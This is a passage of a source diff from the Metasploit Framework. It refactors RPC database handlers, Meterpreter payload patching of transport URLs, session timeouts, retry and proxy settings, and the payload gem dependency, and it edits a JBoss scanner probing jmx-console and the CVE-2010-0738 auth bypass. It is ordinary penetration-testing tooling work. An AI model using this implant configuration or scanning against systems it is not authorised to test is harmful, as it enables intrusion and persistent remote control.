elsif(opts[:proto] && opts[:port])
elsif opts[:proto] && opts[:port]
conditions = {}
conditions[:state] = [Msf::ServiceState::Open] if opts[:up]
conditions[:proto] = opts[:proto] if opts[:proto]
conditions[:port] = opts[:port] if opts[:port]
conditions[:name] = opts[:names] if opts[:names]
sret = wspace.services.where(conditions).order("hosts.address, port")
else
elsif host
sret = host.services
end
return ret if sret == nil
@ -776,10 +802,12 @@ public
}
end
# Returns a note.
#
# @param [Hash] xopts Options.
# @option xopts [String] :addr Host address.
# @option xopts [String] :address Same as :addr.
# @option xopts [String] :host Same as :address.
# @option xopts [String] :proto Protocol.
# @option xopts [Fixnum] :port Port.
# @option xopts [String] :ntype Note type.
@ -801,37 +829,11 @@ public
# @example Here's how you would use this from the client:
# rpc.call('db.get_note', {:proto => 'tcp', :port => 80})
def rpc_get_note(xopts)
::ActiveRecord::Base.connection_pool.with_connection {
opts, wspace = init_db_opts_workspace(xopts)
ret = {}
ret[:note] = []
host = self.framework.db.get_host(opts)
notes = get_notes(xopts)
return ret if( not host)
notes = []
if(opts[:proto] && opts[:port])
services = []
nret = host.services.find_by_proto_and_port(opts[:proto], opts[:port])
return ret if nret == nil
services << nret if nret.class == ::Mdm::Service
services |= nret if nret.class == Array
services.each do |s|
nret = nil
if opts[:ntype]
nret = s.notes.find_by_ntype(opts[:ntype])
else
nret = s.notes
end
next if nret == nil
notes << nret if nret.class == ::Mdm::Note
notes |= nret if nret.class == Array
end
else
notes = host.notes
end
notes.each do |n|
note = {}
host = n.host
@ -849,7 +851,6 @@ public
ret[:note] << note
end
ret
}
end
@ -879,7 +880,7 @@ public
ret = {}
ret[:client] = []
c = self.framework.db.get_client(opts)
if(c)
if c
client = {}
host = c.host
client[:host] = host.address
@ -916,7 +917,7 @@ public
::ActiveRecord::Base.connection_pool.with_connection {
opts, wspace = init_db_opts_workspace(xopts)
res = self.framework.db.report_client(opts)
return { :result => 'success' } if(res)
return { :result => 'success' } if res
{ :result => 'failed' }
}
end
@ -951,12 +952,16 @@ public
addr = opts[:host] || opts[:address]
wspace = opts[:workspace] || self.framework.db.workspace
host = wspace.hosts.find_by_address(addr)
service = host.services.find_by_proto_and_port(opts[:proto],opts[:port]) if host.services.count > 0
opts[:service] = service if service
if host && host.services.count > 0
service = host.services.find_by_proto_and_port(opts[:proto],opts[:port])
if service
opts[:service] = service
end
end
end
res = self.framework.db.report_note(opts)
return { :result => 'success' } if(res)
return { :result => 'success' } if res
{ :result => 'failed' }
}
end
@ -994,7 +999,7 @@ public
conditions["hosts.address"] = opts[:addresses] if opts[:addresses]
conditions[:name] = opts[:names].strip().split(",") if opts[:names]
conditions[:ntype] = opts[:ntype] if opts[:ntype]
conditions["services.port"] = Rex::Socket.portspec_to_portlist(opts[:ports]) if opts[:port]
conditions["services.port"] = Rex::Socket.portspec_to_portlist(opts[:ports]) if opts[:ports]
conditions["services.proto"] = opts[:proto] if opts[:proto]
ret = {}
@ -1004,8 +1009,8 @@ public
note[:time] = n.created_at.to_i
note[:host] = ""
note[:service] = ""
note[:host] = n.host.address if(n.host)
note[:service] = n.service.name || n.service.port if(n.service)
note[:host] = n.host.address if n.host
note[:service] = n.service.name || n.service.port if n.service
note[:type ] = n.ntype.to_s
note[:data] = n.data.inspect
ret[:notes] << note
@ -1059,19 +1064,20 @@ public
def rpc_del_vuln(xopts)
::ActiveRecord::Base.connection_pool.with_connection {
opts, wspace = init_db_opts_workspace(xopts)
opts[:workspace] = opts[:workspace].name
hosts = []
services = []
vulns = []
if opts[:host] or opts[:address] or opts[:addresses]
hosts = opts_to_hosts(opts)
hosts = opts_to_hosts(xopts)
end
if opts[:port] or opts[:proto]
if opts[:host] or opts[:address] or opts[:addresses]
services = opts_to_services(hosts,opts)
services = opts_to_services(hosts,xopts)
else
services = opts_to_services([],opts)
services = opts_to_services([],xopts)
end
end
@ -1150,58 +1156,8 @@ public
# @example Here's how you would use this from the client:
# rpc.call('db.del_note', {:workspace=>'default', :host=>ip, :port=>443, :proto=>'tcp'})
def rpc_del_note(xopts)
::ActiveRecord::Base.connection_pool.with_connection {
opts, wspace = init_db_opts_workspace(xopts)
hosts = []
services = []
notes = []
notes = get_notes(xopts)
if opts[:host] or opts[:address] or opts[:addresses]
hosts = opts_to_hosts(opts)
end
if opts[:port] or opts[:proto]
if opts[:host] or opts[:address] or opts[:addresses]
services = opts_to_services(hosts,opts)
else
services = opts_to_services([],opts)
end
end
if opts[:port] or opts[:proto]
services.each do |s|
nret = nil
if opts[:ntype]
nret = s.notes.find_by_ntype(opts[:ntype])
else
nret = s.notes
end
next if nret == nil
notes << nret if nret.class == ::Mdm::Note
notes |= nret if nret.class == Array
end
elsif opts[:address] or opts[:host] or opts[:addresses]
hosts.each do |h|
nret = nil
if opts[:ntype]
nret = h.notes.find_by_ntype(opts[:ntype])
else
nret = h.notes
end
next if nret == nil
notes << nret if nret.class == ::Mdm::Note
notes |= nret if nret.class == Array
end
else
nret = nil
if opts[:ntype]
nret = wspace.notes.find_by_ntype(opts[:ntype])
else
nret = wspace.notes
end
notes << nret if nret.class == ::Mdm::Note
notes |= nret if nret.class == Array
end
deleted = []
notes.each do |n|
dent = {}
@ -1214,7 +1170,6 @@ public
end
return { :result => 'success', :deleted => deleted }
}
end
@ -1366,7 +1321,7 @@ public
opts = fix_options(xopts)
opts[:workspace] = find_workspace(opts[:workspace]) if opts[:workspace]
res = self.framework.db.report_vuln(opts)
return { :result => 'success' } if(res)
return { :result => 'success' } if res
{ :result => 'failed' }
}
end
@ -1404,12 +1359,12 @@ public
wspace.events.offset(offset).limit(limit).each do |e|
event = {}
event[:host] = e.host.address if(e.host)
event[:host] = e.host.address if e.host
event[:created_at] = e.created_at.to_i
event[:updated_at] = e.updated_at.to_i
event[:name] = e.name
event[:critical] = e.critical if(e.critical)
event[:username] = e.username if(e.username)
event[:critical] = e.critical if e.critical
event[:username] = e.username if e.username
event[:info] = e.info
ret[:events] << event
end
@ -1436,7 +1391,7 @@ public
::ActiveRecord::Base.connection_pool.with_connection {
opts, wspace = init_db_opts_workspace(xopts)
res = self.framework.db.report_event(opts)
{ :result => 'success' } if(res)
{ :result => 'success' } if res
}
end
@ -1471,7 +1426,7 @@ public
end
res = self.framework.db.report_loot(opts)
{ :result => 'success' } if(res)
{ :result => 'success' } if res
}
end
@ -1509,8 +1464,8 @@ public
ret[:loots] = []
wspace.loots.offset(offset).limit(limit).each do |l|
loot = {}
loot[:host] = l.host.address if(l.host)
loot[:service] = l.service.name || l.service.port if(l.service)
loot[:host] = l.host.address if l.host
loot[:service] = l.service.name || l.service.port if l.service
loot[:ltype] = l.ltype
loot[:ctype] = l.content_type
loot[:data] = l.data
@ -1611,10 +1566,10 @@ public
host = self.framework.db.get_host(opts)
return ret if( not host)
return ret if not host
vulns = []
if(opts[:proto] && opts[:port])
if opts[:proto] && opts[:port]
services = []
sret = host.services.find_by_proto_and_port(opts[:proto], opts[:port])
return ret if sret == nil
@ -1731,7 +1686,7 @@ public
clients = []
if opts[:host] or opts[:address] or opts[:addresses]
hosts = opts_to_hosts(opts)
hosts = opts_to_hosts(xopts)
else
hosts = wspace.hosts
end
@ -1806,7 +1761,7 @@ public
# rpc.call('db.connect', {:driver=>'postgresql'})
def rpc_connect(xopts)
opts = fix_options(xopts)
if(not self.framework.db.driver and not opts[:driver])
if not self.framework.db.driver and not opts[:driver]
return { :result => 'failed' }
end

View File

@ -389,6 +389,10 @@ module Session
#
attr_accessor :payload_uuid
#
# The unique machine identifier for the host that created this session
#
attr_accessor :machine_id
#
# The actual exploit module instance that created this session
#
attr_accessor :exploit

View File

@ -172,7 +172,7 @@ module Msf::HTTP::Wordpress::Version
# Version older than fixed version
if Gem::Version.new(version) < Gem::Version.new(fixed_version)
if vuln_introduced_version.nil?
# All versions are vulnerable
# Older than fixed version, no vuln introduction date, flag as vuln
return Msf::Exploit::CheckCode::Appears
# vuln_introduced_version provided, check if version is newer
elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version)

View File

@ -10,13 +10,17 @@ module Rex
###
module Patch
#
# Replace the transport string
#
def self.patch_transport!(blob, ssl)
str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00"
patch_string!(blob, "METERPRETER_TRANSPORT_SSL", str)
end
#
# Replace the URL
#
def self.patch_url!(blob, url)
unless patch_string!(blob, "https://#{'X' * 512}", url)
# If the patching failed this could mean that we are somehow
@ -26,34 +30,28 @@ module Rex
end
end
# Replace the session expiration timeout
def self.patch_expiration!(blob, expiration)
i = blob.index([0xb64be661].pack("V"))
#
# Replace the timeout data with the actual timeout values.
#
def self.patch_timeouts!(blob, opts)
i = blob.index("METERP_TIMEOUTS\x00")
if i
str = [ expiration ].pack("V")
blob[i, str.length] = str
data = [opts[:expiration].to_i, opts[:comm_timeout].to_i,
opts[:retry_total].to_i, opts[:retry_wait].to_i].pack("VVVV")
blob[i, data.length] = data
end
end
# Replace the session communication timeout
def self.patch_comm_timeout!(blob, comm_timeout)
i = blob.index([0xaf79257f].pack("V"))
if i
str = [ comm_timeout ].pack("V")
blob[i, str.length] = str
end
end
#
# Replace the user agent string with our option
#
def self.patch_ua!(blob, ua)
patch_string!(blob, "METERPRETER_UA\x00", ua[0,255] + "\x00")
end
#
# Activate a custom proxy
#
def self.patch_proxy!(blob, proxyhost, proxyport, proxy_type)
if proxyhost && proxyhost.to_s != ""
@ -73,7 +71,9 @@ module Rex
end
end
#
# Proxy authentification
#
def self.patch_proxy_auth!(blob, proxy_username, proxy_password, proxy_type)
return if proxy_type.nil? || proxy_type.upcase == 'SOCKS'
@ -93,7 +93,9 @@ module Rex
end
end
#
# Patch the ssl cert hash
#
def self.patch_ssl_check!(blob, ssl_cert_hash)
# SSL cert location is an ASCII string, so no need for
# WCHAR support
@ -105,24 +107,25 @@ module Rex
end
end
#
# Patch options into metsrv for reverse HTTP payloads
def self.patch_passive_service!(blob, options)
#
def self.patch_passive_service!(blob, opts)
patch_transport!(blob, options[:ssl])
patch_url!(blob, options[:url])
patch_expiration!(blob, options[:expiration])
patch_comm_timeout!(blob, options[:comm_timeout])
patch_ua!(blob, options[:ua])
patch_ssl_check!(blob, options[:ssl_cert_hash])
patch_transport!(blob, opts[:ssl])
patch_url!(blob, opts[:url])
patch_timeouts!(blob, opts)
patch_ua!(blob, opts[:ua])
patch_ssl_check!(blob, opts[:ssl_cert_hash])
patch_proxy!(blob,
options[:proxy_host],
options[:proxy_port],
options[:proxy_type]
opts[:proxy_host],
opts[:proxy_port],
opts[:proxy_type]
)
patch_proxy_auth!(blob,
options[:proxy_user],
options[:proxy_pass],
options[:proxy_type]
opts[:proxy_user],
opts[:proxy_pass],
opts[:proxy_type]
)
end

View File

@ -1,5 +1,5 @@
# -*- coding: binary -*-
require 'meterpreter_bins'
require 'metasploit-payloads'
require 'rex/post/meterpreter/client'
require 'rex/post/meterpreter/ui/console'

View File

@ -85,11 +85,18 @@ class Client
# Cleans up the meterpreter instance, terminating the dispatcher thread.
#
def cleanup_meterpreter
ext.aliases.each_value do | extension |
extension.cleanup if extension.respond_to?( 'cleanup' )
if not self.skip_cleanup
ext.aliases.each_value do | extension |
extension.cleanup if extension.respond_to?( 'cleanup' )
end
end
dispatcher_thread.kill if dispatcher_thread
core.shutdown rescue nil
if not self.skip_cleanup
core.shutdown rescue nil
end
shutdown_passive_dispatcher
end
@ -111,6 +118,8 @@ class Client
self.ssl = opts[:ssl]
self.expiration = opts[:expiration]
self.comm_timeout = opts[:comm_timeout]
self.retry_total = opts[:retry_total]
self.retry_wait = opts[:retry_wait]
self.passive_dispatcher = opts[:passive_dispatcher]
self.response_timeout = opts[:timeout] || self.class.default_timeout
@ -453,6 +462,14 @@ class Client
#
attr_accessor :comm_timeout
#
# The total time for retrying connections
#
attr_accessor :retry_total
#
# The time to wait between retry attempts
#
attr_accessor :retry_wait
#
# The Passive Dispatcher
#
attr_accessor :passive_dispatcher
@ -464,6 +481,10 @@ class Client
# A list of the commands
#
attr_reader :commands
#
# The timestamp of the last received response
#
attr_accessor :last_checkin
protected
attr_accessor :parser, :ext_aliases # :nodoc:

View File

@ -39,8 +39,10 @@ class ClientCore < Extension
METERPRETER_TRANSPORT_HTTP = 1
METERPRETER_TRANSPORT_HTTPS = 2
DEFAULT_SESSION_EXPIRATION = 24*3600*7
DEFAULT_COMMS_TIMEOUT = 300
TIMEOUT_SESSION = 24*3600*7 # 1 week
TIMEOUT_COMMS = 300 # 5 minutes
TIMEOUT_RETRY_TOTAL = 60*60 # 1 hour
TIMEOUT_RETRY_WAIT = 10 # 10 seconds
VALID_TRANSPORTS = {
'reverse_tcp' => METERPRETER_TRANSPORT_SSL,
@ -63,7 +65,7 @@ class ClientCore < Extension
# Core commands
#
##
#
#
# Get a list of loaded commands for the given extension.
#
@ -98,6 +100,32 @@ class ClientCore < Extension
commands
end
def set_transport_timeouts(opts={})
request = Packet.create_request('core_transport_set_timeouts')
if opts[:session_exp]
request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
end
if opts[:comm_timeout]
request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
end
if opts[:retry_total]
request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])
end
if opts[:retry_wait]
request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])
end
response = client.send_request(request)
{
:session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP),
:comm_timeout => response.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
:retry_total => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
:retry_wait => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT)
}
end
#
# Loads a library on the remote meterpreter instance. This method
# supports loading both extension and non-extension libraries and
@ -221,7 +249,7 @@ class ClientCore < Extension
# Get us to the installation root and then into data/meterpreter, where
# the file is expected to be
modname = "ext_server_#{mod.downcase}"
path = MeterpreterBinaries.path(modname, client.binary_suffix)
path = MetasploitPayloads.meterpreter_path(modname, client.binary_suffix)
if opts['ExtensionPath']
path = ::File.expand_path(opts['ExtensionPath'])
@ -245,14 +273,16 @@ class ClientCore < Extension
return true
end
def machine_id
def machine_id(timeout=nil)
request = Packet.create_request('core_machine_id')
response = client.send_request(request)
args = [ request ]
args << timeout if timeout
id = response.get_tlv_value(TLV_TYPE_MACHINE_ID)
# TODO: Determine if we're going to MD5/SHA1 this
return Rex::Text.md5(id)
response = client.send_request(*args)
mid = response.get_tlv_value(TLV_TYPE_MACHINE_ID)
return Rex::Text.md5(mid)
end
def transport_change(opts={})
@ -275,6 +305,22 @@ class ClientCore < Extension
scheme = opts[:transport].split('_')[1]
url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}"
if opts[:comm_timeout]
request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
end
if opts[:session_exp]
request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
end
if opts[:retry_total]
request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])
end
if opts[:retry_wait]
request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])
end
# do more magic work for http(s) payloads
unless opts[:transport].ends_with?('tcp')
sum = uri_checksum_lookup(:connect)
@ -288,12 +334,6 @@ class ClientCore < Extension
end
url << generate_uri_uuid(sum, uuid) + '/'
opts[:comms_timeout] ||= DEFAULT_COMMS_TIMEOUT
request.add_tlv(TLV_TYPE_TRANS_COMMS_TIMEOUT, opts[:comms_timeout])
opts[:session_exp] ||= DEFAULT_SESSION_EXPIRATION
request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
# TODO: randomise if not specified?
opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'
request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua])
@ -595,41 +635,49 @@ class ClientCore < Extension
# Create the migrate stager
migrate_stager = c.new()
dll = MeterpreterBinaries.path('metsrv',binary_suffix)
dll = MetasploitPayloads.meterpreter_path('metsrv', binary_suffix)
if dll.nil?
raise RuntimeError, "metsrv.#{binary_suffix} not found", caller
end
migrate_stager.datastore['DLL'] = dll
# Pass the timeout information to the RDI loader so that it correctly
# patches the timeouts into the binary.
migrate_stager.datastore['SessionExpirationTimeout'] = self.client.expiration
migrate_stager.datastore['SessionCommunicationTimeout'] = self.client.comm_timeout
migrate_stager.datastore['SessionRetryTotal'] = self.client.retry_total
migrate_stager.datastore['SessionRetryWait'] = self.client.retry_wait
blob = migrate_stager.stage_payload
if client.passive_service
#
# Patch options into metsrv for reverse HTTP payloads
#
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
:ssl => client.ssl,
:url => self.client.url,
:expiration => self.client.expiration,
:comm_timeout => self.client.comm_timeout,
:ua => client.exploit_datastore['MeterpreterUserAgent'],
:proxy_host => client.exploit_datastore['PayloadProxyHost'],
:proxy_port => client.exploit_datastore['PayloadProxyPort'],
:proxy_type => client.exploit_datastore['PayloadProxyType'],
:proxy_user => client.exploit_datastore['PayloadProxyUser'],
:proxy_pass => client.exploit_datastore['PayloadProxyPass']
# Patch options into metsrv for reverse HTTP payloads.
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
:ssl => client.ssl,
:url => self.client.url,
:expiration => self.client.expiration,
:comm_timeout => self.client.comm_timeout,
:retry_total => self.client.retry_total,
:retry_wait => self.client.retry_wait,
:ua => client.exploit_datastore['MeterpreterUserAgent'],
:proxy_host => client.exploit_datastore['PayloadProxyHost'],
:proxy_port => client.exploit_datastore['PayloadProxyPort'],
:proxy_type => client.exploit_datastore['PayloadProxyType'],
:proxy_user => client.exploit_datastore['PayloadProxyUser'],
:proxy_pass => client.exploit_datastore['PayloadProxyPass'])
end
blob
end
def generate_linux_stub
file = ::File.join(Msf::Config.data_directory, "meterpreter", "msflinker_linux_x86.bin")
blob = ::File.open(file, "rb") {|f|
f.read(f.stat.size)
}
blob = MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin')
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(blob,
:expiration => self.client.expiration,
:comm_timeout => self.client.comm_timeout,
:retry_total => self.client.retry_total,
:retry_wait => self.client.retry_wait)
blob
end

View File

@ -45,7 +45,7 @@ class Priv < Extension
elevator_name = Rex::Text.rand_text_alpha_lower( 6 )
elevator_path = MeterpreterBinaries.path('elevator', client.binary_suffix)
elevator_path = MetasploitPayloads.meterpreter_path('elevator', client.binary_suffix)
if elevator_path.nil?
raise RuntimeError, "elevator.#{binary_suffix} not found", caller
end

View File

@ -157,7 +157,7 @@ class UI < Rex::Post::UI
# include the x64 screenshot dll if the host OS is x64
if( client.sys.config.sysinfo['Architecture'] =~ /^\S*x64\S*/ )
screenshot_path = MeterpreterBinaries.path('screenshot','x64.dll')
screenshot_path = MetasploitPayloads.meterpreter_path('screenshot','x64.dll')
if screenshot_path.nil?
raise RuntimeError, "screenshot.x64.dll not found", caller
end
@ -172,7 +172,7 @@ class UI < Rex::Post::UI
end
# but always include the x86 screenshot dll as we can use it for wow64 processes if we are on x64
screenshot_path = MeterpreterBinaries.path('screenshot','x86.dll')
screenshot_path = MetasploitPayloads.meterpreter_path('screenshot','x86.dll')
if screenshot_path.nil?
raise RuntimeError, "screenshot.x86.dll not found", caller
end

View File

@ -91,12 +91,14 @@ TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_META_TYPE_STRING | 409
TLV_TYPE_TRANS_TYPE = TLV_META_TYPE_UINT | 430
TLV_TYPE_TRANS_URL = TLV_META_TYPE_STRING | 431
TLV_TYPE_TRANS_UA = TLV_META_TYPE_STRING | 432
TLV_TYPE_TRANS_COMMS_TIMEOUT = TLV_META_TYPE_UINT | 433
TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_META_TYPE_UINT | 433
TLV_TYPE_TRANS_SESSION_EXP = TLV_META_TYPE_UINT | 434
TLV_TYPE_TRANS_CERT_HASH = TLV_META_TYPE_RAW | 435
TLV_TYPE_TRANS_PROXY_INFO = TLV_META_TYPE_STRING | 436
TLV_TYPE_TRANS_PROXY_USER = TLV_META_TYPE_STRING | 437
TLV_TYPE_TRANS_PROXY_PASS = TLV_META_TYPE_STRING | 438
TLV_TYPE_TRANS_RETRY_TOTAL = TLV_META_TYPE_UINT | 439
TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
@ -194,13 +196,14 @@ class Tlv
when TLV_TYPE_MIGRATE_ARCH; "MIGRATE-ARCH"
when TLV_TYPE_TRANS_TYPE; "TRANS-TYPE"
when TLV_TYPE_TRANS_URL; "TRANS-URL"
when TLV_TYPE_TRANS_COMMS_TIMEOUT; "TRANS-COMMS-TIMEOUT"
when TLV_TYPE_TRANS_COMM_TIMEOUT; "TRANS-COMM-TIMEOUT"
when TLV_TYPE_TRANS_SESSION_EXP; "TRANS-SESSION-EXP"
when TLV_TYPE_TRANS_CERT_HASH; "TRANS-CERT-HASH"
when TLV_TYPE_TRANS_PROXY_INFO; "TRANS-PROXY-INFO"
when TLV_TYPE_TRANS_PROXY_USER; "TRANS-PROXY-USER"
when TLV_TYPE_TRANS_PROXY_PASS; "TRANS-PROXY-PASS"
when TLV_TYPE_TRANS_RETRY_TOTAL; "TRANS-RETRY-TOTAL"
when TLV_TYPE_TRANS_RETRY_WAIT; "TRANS-RETRY-WAIT"
when TLV_TYPE_MACHINE_ID; "MACHINE-ID"
#when Extensions::Stdapi::TLV_TYPE_NETWORK_INTERFACE; 'network-interface'

View File

@ -79,7 +79,11 @@ module PacketDispatcher
def shutdown_passive_dispatcher
return if not self.passive_service
self.passive_service.remove_resource(self.conn_id + "/")
# Ensure that there is only one leading and trailing slash on the URI
resource_uri = "/" + self.conn_id.to_s.gsub(/(^\/|\/$)/, '') + "/"
self.passive_service.remove_resource(resource_uri)
# If there are no more resources registered on the service, stop it entirely
if self.passive_service.resources.empty?
@ -102,6 +106,8 @@ module PacketDispatcher
resp['Content-Type'] = 'application/octet-stream'
resp['Connection'] = 'close'
self.last_checkin = Time.now
# If the first 4 bytes are "RECV", return the oldest packet from the outbound queue
if req.body[0,4] == "RECV"
rpkt = send_queue.shift
@ -494,6 +500,9 @@ module PacketDispatcher
client = self
end
# Update our last reply time
client.last_checkin = Time.now
# If the packet is a response, try to notify any potential
# waiters
if ((resp = packet.response?))

View File

@ -56,6 +56,8 @@ class Console::CommandDispatcher::Core
"run" => "Executes a meterpreter script or Post module",
"bgrun" => "Executes a meterpreter script as a background thread",
"bgkill" => "Kills a background meterpreter script",
"get_timeouts" => "Get the current session timeout values",
"set_timeouts" => "Set the current session timeout values",
"bglist" => "Lists running background scripts",
"write" => "Writes data to a channel",
"enable_unicode_encoding" => "Enables encoding of unicode strings",
@ -72,12 +74,13 @@ class Console::CommandDispatcher::Core
if client.passive_service && client.sock.type? == 'tcp-ssl'
c["ssl_verify"] = "Modify the SSL certificate verification setting"
end
c["transport"] = "Change the current transport mechanism"
end
if client.platform =~ /win/ || client.platform =~ /linux/
c["migrate"] = "Migrate the server to another process"
# Yet to implement transport hopping for other meterpreters.
# Works for posix and native windows though.
c["transport"] = "Change the current transport mechanism"
end
if (msf_loaded?)
@ -327,6 +330,64 @@ class Console::CommandDispatcher::Core
Rex::Ui::Text::IrbShell.new(binding).run
end
@@set_timeouts_opts = Rex::Parser::Arguments.new(
'-c' => [ true, 'Comms timeout (seconds)' ],
'-x' => [ true, 'Expiration timout (seconds)' ],
'-t' => [ true, 'Retry total time (seconds)' ],
'-w' => [ true, 'Retry wait time (seconds)' ],
'-h' => [ false, 'Help menu' ])
def cmd_set_timeouts_help
print_line('Usage: set_timeouts [options]')
print_line
print_line('Set the current timeout options.')
print_line('Any or all of these can be set at once.')
print_line(@@set_timeouts_opts.usage)
end
def cmd_set_timeouts(*args)
if ( args.length == 0 or args.include?("-h") )
cmd_set_timeouts_help
return
end
opts = {}
@@set_timeouts_opts.parse(args) do |opt, idx, val|
case opt
when '-c'
opts[:comm_timeout] = val.to_i if val
when '-x'
opts[:session_exp] = val.to_i if val
when '-t'
opts[:retry_total] = val.to_i if val
when '-w'
opts[:retry_wait] = val.to_i if val
end
end
if opts.keys.length == 0
print_error("No options set")
else
timeouts = client.core.set_transport_timeouts(opts)
print_timeouts(timeouts)
end
end
def cmd_get_timeouts(*args)
# Calling set without passing values is the same as
# getting all the current timeouts
timeouts = client.core.set_transport_timeouts
print_timeouts(timeouts)
end
def print_timeouts(timeouts)
print_line("Session Expiry : @ #{(Time.now + timeouts[:session_exp]).strftime('%Y-%m-%d %H:%M:%S')}")
print_line("Comm Timeout : #{timeouts[:comm_timeout]} seconds")
print_line("Retry Total Time: #{timeouts[:retry_total]} seconds")
print_line("Retry Wait Time : #{timeouts[:retry_wait]} seconds")
end
#
# Get the machine ID of the target
#
@ -429,8 +490,10 @@ class Console::CommandDispatcher::Core
'-ps' => [ true, 'Proxy password for http(s) transports (optional)' ],
'-pt' => [ true, 'Proxy type for http(s) transports (optional: http, socks; default: http)' ],
'-c' => [ true, 'SSL certificate path for https transport verification (optional)' ],
'-to' => [ true, "Comms timeout (seconds) for http(s) transports (default: #{Rex::Post::Meterpreter::ClientCore::DEFAULT_COMMS_TIMEOUT})" ],
'-ex' => [ true, "Expiration timout (seconds) for http(s) transports (default: #{Rex::Post::Meterpreter::ClientCore::DEFAULT_SESSION_EXPIRATION})" ],
'-to' => [ true, 'Comms timeout (seconds) (default: same as current session)' ],
'-ex' => [ true, 'Expiration timout (seconds) (default: same as current session)' ],
'-rt' => [ true, 'Retry total time (seconds) (default: same as current session)' ],
'-rw' => [ true, 'Retry wait time (seconds) (default: same as current session)' ],
'-h' => [ false, 'Help menu' ])
#
@ -462,8 +525,10 @@ class Console::CommandDispatcher::Core
:proxy_type => nil,
:proxy_user => nil,
:proxy_pass => nil,
:comms_timeout => nil,
:comm_timeout => nil,
:session_exp => nil,
:retry_total => nil,
:retry_wait => nil,
:cert => nil
}
@ -484,9 +549,13 @@ class Console::CommandDispatcher::Core
when '-ua'
opts[:ua] = val
when '-to'
opts[:comms_timeout] = val.to_i if val
opts[:comm_timeout] = val.to_i if val
when '-ex'
opts[:session_exp] = val.to_i if val
when '-rt'
opts[:retry_total] = val.to_i if val
when '-rw'
opts[:retry_wait] = val.to_i if val
when '-p'
opts[:lport] = val.to_i if val
when '-l'
@ -620,8 +689,8 @@ class Console::CommandDispatcher::Core
case opt
when "-l"
exts = SortedSet.new
msf_path = MeterpreterBinaries.metasploit_data_dir
gem_path = MeterpreterBinaries.local_dir
msf_path = MetasploitPayloads.msf_meterpreter_dir
gem_path = MetasploitPayloads.local_meterpreter_dir
[msf_path, gem_path].each do |path|
::Dir.entries(path).each { |f|
if (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\.#{client.binary_suffix}/ )
@ -668,8 +737,8 @@ class Console::CommandDispatcher::Core
def cmd_load_tabs(str, words)
tabs = SortedSet.new
msf_path = MeterpreterBinaries.metasploit_data_dir
gem_path = MeterpreterBinaries.local_dir
msf_path = MetasploitPayloads.msf_meterpreter_dir
gem_path = MetasploitPayloads.local_meterpreter_dir
[msf_path, gem_path].each do |path|
::Dir.entries(path).each { |f|
if (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\.#{client.binary_suffix}/ )

View File

@ -579,6 +579,7 @@ class Client
rv = nil
while (
not conn.closed? and
rv != Packet::ParseCode::Completed and
rv != Packet::ParseCode::Error
)

View File

@ -64,7 +64,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model', '1.0.0.pre.rails.pre.4.0'
# Needed for Meterpreter on Windows, soon others.
spec.add_runtime_dependency 'meterpreter_bins', '0.0.22'
spec.add_runtime_dependency 'metasploit-payloads', '0.0.3'
# Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack'
# Needed by anemone crawler

View File

@ -7,7 +7,6 @@ require 'rex/proto/http'
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
@ -15,10 +14,14 @@ class Metasploit3 < Msf::Auxiliary
def initialize(info = {})
super(update_info(info,
'Name' => 'JBoss Vulnerability Scanner',
'Description' => %q{
'Description' => %q(
This module scans a JBoss instance for a few vulnerablities.
},
'Author' => [ 'Tyler Krpata' ],
),
'Author' =>
[
'Tyler Krpata',
'Zach Grace <@ztgrace>'
],
'References' =>
[
[ 'CVE', '2010-0738' ] # VERB auth bypass
@ -28,31 +31,29 @@ class Metasploit3 < Msf::Auxiliary
register_options(
[
OptString.new('VERB', [ true, "Verb for auth bypass testing", "HEAD"]),
OptString.new('VERB', [ true, "Verb for auth bypass testing", "HEAD"])
], self.class)
end
def run_host(ip)
res = send_request_cgi(
{
'uri' => "/"+Rex::Text.rand_text_alpha(12),
'uri' => "/" + Rex::Text.rand_text_alpha(12),
'method' => 'GET',
'ctype' => 'text/plain',
}, 20)
'ctype' => 'text/plain'
})
if res
info = http_fingerprint({ :response => res })
info = http_fingerprint(:response => res)
print_status(info)
if(res.body and />(JBoss[^<]+)/.match(res.body) )
if res.body && />(JBoss[^<]+)/.match(res.body)
print_error("#{rhost}:#{rport} JBoss error message: #{$1}")
end
apps = [ '/jmx-console/HtmlAdaptor',
apps = [
'/jmx-console/HtmlAdaptor',
'/status',
'/web-console/ServerInfo.jsp',
# apps added per Patrick Hof
